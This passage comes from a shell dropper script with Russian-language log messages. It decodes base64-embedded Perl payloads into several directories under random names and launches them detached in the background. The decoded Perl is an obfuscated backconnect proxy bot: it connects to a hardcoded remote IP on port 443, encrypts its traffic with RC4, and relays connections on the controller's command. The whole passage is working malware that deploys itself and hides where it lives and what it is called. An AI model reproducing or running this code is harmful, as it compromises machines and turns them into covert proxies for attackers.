OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #40 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #40 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 41 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr 